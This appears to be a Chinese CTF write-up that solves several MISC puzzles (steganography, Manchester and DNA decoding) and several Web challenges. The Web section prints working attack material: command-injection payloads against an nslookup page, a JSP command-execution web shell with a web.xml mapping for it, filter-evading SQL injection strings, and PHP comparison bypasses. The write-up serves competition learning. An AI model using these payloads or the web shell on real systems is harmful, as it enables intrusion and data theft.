MISC
[Round 1] whatmusic
拿到题目,一个password和加密的压缩包
查看password的文件尾
这里会发现是png文件的文件头,逆序输出,并保存为1.png。得到一个图片,
进行CRC爆破,发现宽高被修改,之后拿到压缩包密码,解密后拿到flag文件。
这时根据题目whatmusic可判断为是音频文件
查看hint1:
桑德拉的女儿lyra。
这时可以去github搜lyra,搜到开源项目。可以将文件解密成音频文件。
(羊城杯和ISCC都可以找到例题)
[Round 1] SinCosTan
这里可以发现是一个wav音频文件
不过这题跟歌没什么关系,可以看到这是png图片的文件头
尝试提取数据
我们查找png文件头文件尾、zip文件头文件尾对应的ASCII数据
拿到俩个png图片和一个zip文件
zip文件中是一个hint.txt(我们需要修复一下zip文件)
很明显的零宽度隐写
那么这里我们拿到俩张一模一样的图片,还拿到了种子seed=114514,很明显能想到盲水印
python bwmforpy3.py decode 1.png 2.png 5.png --seed=114514
盲水印拿到flag
[Round 2] 滴答滴
使用010打开文件可以发现全部都是 00 和 FF,一般来说这是可以用于表示电平信号
看到这个要想到信号是什么编码,判断出是曼切斯特编码。脚本如下:
python
def read_from_file(filename):
# 从文件中读取二进制数据
with open(filename, 'rb') as file:
return file.read()
def manchester_to_binary(manchester_data):
# 将曼切斯特编码的数据转换回二进制字符串
binary_str = ''
i = 0
while i < len(manchester_data):
if manchester_data[i] == 0 and manchester_data[i+1] ==255:
binary_str += '0'
elif manchester_data[i] == 255 and manchester_data[i+1] == 0:
binary_str += '1'
i += 2 # 每次处理两个字节
return binary_str
def binary_to_char(binary_str):
# 将二进制字符串转换回ASCII字符
return ''.join([chr(int(binary_str[i:i+8], 2)) for i in range(0, len(binary_str), 8)])
# 示例使用
filename = "attachment" # 输入文件名
manchester_data = read_from_file(filename)
binary_str = manchester_to_binary(manchester_data)
print(binary_str)
ascii_str = binary_to_char(binary_str)
print(f"解码后的ASCII字符串: {ascii_str}")
# 这个脚本的使用要求是文件的十六进制数据为电平内容
[Round 2] 听~
DeepSound发现隐藏压缩包
emm难评
[Round 3] CheckImg
Green plane 0有明显提示
Red plane 0处有信息
提取Red0的数据,发现是png的文件头,俩位反转
反转脚本:
python
def reverse_every_four_chars_to_new_file(input_file_path, output_file_path):
try:
with open(input_file_path, 'r', encoding='utf-8') as infile:
content = infile.read()
reversed_content = ''.join(content[i:i+4][::-1] for i in range(0, len(content), 4))
with open(output_file_path, 'w', encoding='utf-8') as outfile:
outfile.write(reversed_content)
print(f"处理完成,结果已写入 {output_file_path}")
except FileNotFoundError:
print(f"文件 {input_file_path} 未找到。")
except Exception as e:
print(f"处理文件时发生错误:{e}")
# 调用函数,传入源文件路径和目标文件路径
reverse_every_four_chars_to_new_file('1.txt', 'output.txt')
winhex提取数据,拿到另一张图片
可以发现是DNA解密
python
import sys
bin_dna = {'00':'A','10':'C','01':'G','11':'T'}
mapping = {
'AAA':'a','AAC':'b','AAG':'c','AAT':'d','ACA':'e','ACC':'f', 'ACG':'g','ACT':'h','AGA':'i','AGC':'j','AGG':'k','AGT':'l','ATA':'m','ATC':'n','ATG':'o','ATT':'p','CAA':'q','CAC':'r','CAG':'s','CAT':'t','CCA':'u','CCC':'v','CCG':'w','CCT':'x','CGA':'y','CGC':'z','CGG':'A','CGT':'B','CTA':'C','CTC':'D','CTG':'E','CTT':'F','GAA':'G','GAC':'H','GAG':'I','GAT':'J','GCA':'K','GCC':'L','GCG':'M','GCT':'N','GGA':'O','GGC':'P','GGG':'Q','GGT':'R','GTA':'S','GTC':'T','GTG':'U','GTT':'V','TAA':'W','TAC':'X','TAG':'Y','TAT':'Z','TCA':'1','TCC':'2','TCG':'3','TCT':'4','TGA':'5','TGC':'6','TGG':'7','TGT':'8','TTA':'9','TTC':'0','TTG':' ','TTT':'.'}
def bin_2_code(string):
string = string.replace(" ","")
string = string.replace("\n","")
final=""
for j in range(0,len(string),2):
final+=bin_dna[string[j:j+2]]
return final
def decode_dna(string):
final=""
for i in range(0,len(string),3):
final+=mapping[string[i:i+3]]
return final
print(decode_dna("GCAGTTCTGCTGGGGGGTGTACTAGAGTGACTCGTTGCAGTTGTATACGCATATCTGGTGGGGGTATCCCTTGATCGTGCACTGTCCTAAGCAGCAGAAGAGTCCCTGGCAGCTCTATAAGATCTTCTAGTGGGGGCTGTAGCAGAGGTTCGGGTTGAGGCTCGTGTCGCAGTTGCACTGTCCGTCTATGTGGCAGTTGACGTGTAAGGTTATTAAGAAGGTGAGGTTGTAGTTGTAGCTGATTATGATCTTGAGGGGGCAGCTGAGTATGCCCTCGAGGCTGCAGACGATGGGTCCCTTGTAGGGGCATAAGATGTTCGTGTGGTAGTCGTAGAGGCACTTGCCGTTGCGGTAGCACTTGCAGCTCTTCTGGAAGTTTATGTTGCAGTTGAACTGGCGGTAGATTAAGATGCGTATCTCGCGGTTGTAGTCGATGCTCTCGTGGGGGGGGTAGAAGAGTGAGCACTGTAGGCTTCCGCCGCATAGTCCCTCCTGGTCGCATAAGCATGACTGCTGGGGGTCGTACTAGAAGATCTCCTTGCGGTGTCCGAGGATCGGTCGCTGCTAGTCGCAGTTGCAGTTGCTCTGTAAGTGTCCCTAGAGCTTGAAGTGTAGGTTGCACGTGAGGGTGATCTGGCGGGTGTAGGTGAGGCTGCACTGTCCGTCGCAGAAGCACGGTATGTGTGCGCGTCCGTGGATGTTCGGGTTCGGGTGGTAGCCGCACTTCTCCTTGCGGGTGCAGAAGATCTTGCGCTCGAGGTCGGTTGA"))
拿到字符串
KVEEQRSCI5DVKVSXKZEUQS2FJBKE2WKKGI2EKNCWJFCUQNSKIVAVINBTKVKE2TZUKVHUWRZWGRIVSVSNJZJFIQKNIZLDINKHJQ2FSQKWJVBUSTSIKFLVMSKFKNFEGVZVKVGEMSJWJMZDMVSTJNDUQQSGI5KEYN2LKY2DETKWK5EEQTSCGJDFMU2IJA3ECTKVKVNEWU2CIFGUYVKBIRJEMRSRINKE2TKGKAZU6M2UJVAVAUSLKFDFMRKGJFMDITR5
之后就是编码解密............有点难
[Round 3] figure
在文件尾发现png文件头。提取数据并逆序输出。拿到图片。
根据hint1:
hint1 : x1x2x3..xnyn....y3y2y1
我们提取数据
52 83 102 82 121 76 106 112 69 74 102 106 105 119 78 101 71 66 119 87 49 115 55 113 114 116 111 68 88 100 72 107 109 85 104 85 81 89 109 51 101 102 90 56 76 89 84 103 77 89 65 71 66 82 49 57 112 120 106 71 120 107 84 105 99 106 84 77 122 86 68 120 115 50
把每个数据转ASCII
4SfRyLjpEJfjiwNeGBwW1s7qrtoDXdHkmUhUQYm3efZ8LYTgMYAGBR19pxjGxkTicjTMzVDxs2
根据hint2:
hint2 : 栅栏 block=13
我们栅栏解密
4jiwrHQZM1GcVSpwWtkY8Y9xjDfEN1ommLApkTxRJesDU3YGxTMsyfG7XheTBjiz2LjBqdUfgR
这里我用在线网站解密的不准
然后就是头疼的base、rot系列
Web:
[Round 1] Disal
打开页面没有有用信息,查看robots.txt发现f1ag.php,访问查看源代码:
php
<?php
show_source(__FILE__);
include("flag_is_so_beautiful.php");
$a=@$_POST['a'];
$key=@preg_match('/[a-zA-Z]{6}/',$a);
$b=@$_REQUEST['b'];
if($a>999999 and $key){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>
这里要求a>999999且a的值为字母恰好出现六次。用十六进制编码绕过。令a=0xFFFFFF
b使用数组绕过。令b[]=12345。拿到flag
[Round 1] shxpl
页面是一个nslookup 工具
经过测试发现过滤参数很多
可用more查看文件,dir查看目录
www.baidu.com&dir
看到源代码index.php
www.baidu.com&more<index.php
拿到源码:
php
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$domain = $_POST["domain"];
if(!preg_match("/ls|flag|tac|cat|\'|\"|`|tail|;|\\$|=| |\\\|base|\||\*|\?/i",$domain)){
$output = shell_exec("nslookup " . $domain);
echo "<h2>Results for $domain:</h2>";
echo "<pre>" . htmlspecialchars($output) . "</pre>";
}else{
echo "<pre>" . htmlspecialchars("异常输入,禁止回显!")
这里的话空格被过滤,如果直接在框中输入"dir%09/"查看根目录,%09会被过滤为%2509,所以可以用BP抓包查看根目录
www.baidu.com%26dir%09/
读取flag payload:
www.baidu.com%26more%09/f[l]ag_l4mnyerd
[Round 1] TOXEC
文件上传页面,发现可以上传xml文件,但不能上传jsp木马
上传一个shell.xml文件,内容为jsp的回显马,这里注意上传路径../WEB-INF/shell.xml
php
<% if(request.getParameter("cmd")!=null){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.print(new String(b));
}
out.print("</pre>");
}
%>
再上传一个web.xml,将xml解析为jsp。这里注意上传路径../WEB-INF/web.xml
php
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<servlet>
<servlet-name>exec</servlet-name>
<jsp-file>/WEB-INF/shell.xml</jsp-file>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>exec</servlet-name>
<url-pattern>/exec</url-pattern>
</servlet-mapping>
</web-app>
最后访问exec路径即可
[Round 1] sInXx
一个查询员工界面:怀疑是sql注入
结果fuzz测试,发现是字符型单引号注入
判断回显点发现逗号被过滤,用join绕过:
判断回显点
sql
SEARCH=1'%09UNION%09SELECT%09*%09FROM%09((SELECT%091)A%09JOIN%09(SELECT%091)B%09JOIN%09(SELECT%091)C%09JOIN%09(SELECT%091)D%09JOIN%09(SELECT%091)E)#
爆库:
sql
SEARCH=1'%09UNION%09SELECT%09*%09FROM%09((SELECT%09DATABASE())A%09JOIN%09(SELECT%091)B%09JOIN%09(SELECT%091)C%09JOIN%09(SELECT%091)D%09JOIN%09(SELECT%091)E)#
爆表:
这里发现information被过滤了,使用sys.schema_table_statistics_with_buffer绕过
sql
search=1'%09UNION%09SELECT%09*%09FROM%09((SELECT%09GROUP_CONCAT(TABLE_NAME)%09FROM%09sys.schema_table_statistics_with_buffer%09WHERE%09TABLE_SCHEMA=DATABASE())A%09join%09(SELECT%091)B%09join%09(SELECT%091)C%09join%09(SELECT%091)D%09join%09(SELECT%091)E)#
爆flag:(没看懂为啥这样搞)
sql
search=1' UNION SELECT * FROM ((SELECT `2` FROM (SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b) UNION SELECT * FROM DataSyncFLAG)p limit 2 offset 1)A join (SELECT 1)B join (SELECT 1)C join (SELECT 1)D join (SELECT 1)E)#
[Round 1] Injct
访问首页发现输入的内容会原样输出,据这个思路判断可能是SSTI模板注入
首先用fenjing梭哈,但是无回显,尝试dns外带
首先尝试绕过waf,之后dns外带到ceye.io
直接梭哈
[Round 2] Cmnts
源码中提示路由,base64解码一下:get_th1s_f1ag.php
拿到源码:
php
<?php
include 'flag.php';
parse_str($_SERVER['QUERY_STRING']);
if (isset($pass)) {
$key = md5($pass);
}
if (isset($key) && $key === 'a7a795a8efb7c30151031c2cb700ddd9') {
echo $flag;
}
else {
highlight_file(__FILE__);
}
很明显,下述代码为干扰项
php
if (isset($pass)) {
$key = md5($pass);
}
我们直接传入参数 ?key=a7a795a8efb7c30151031c2cb700ddd9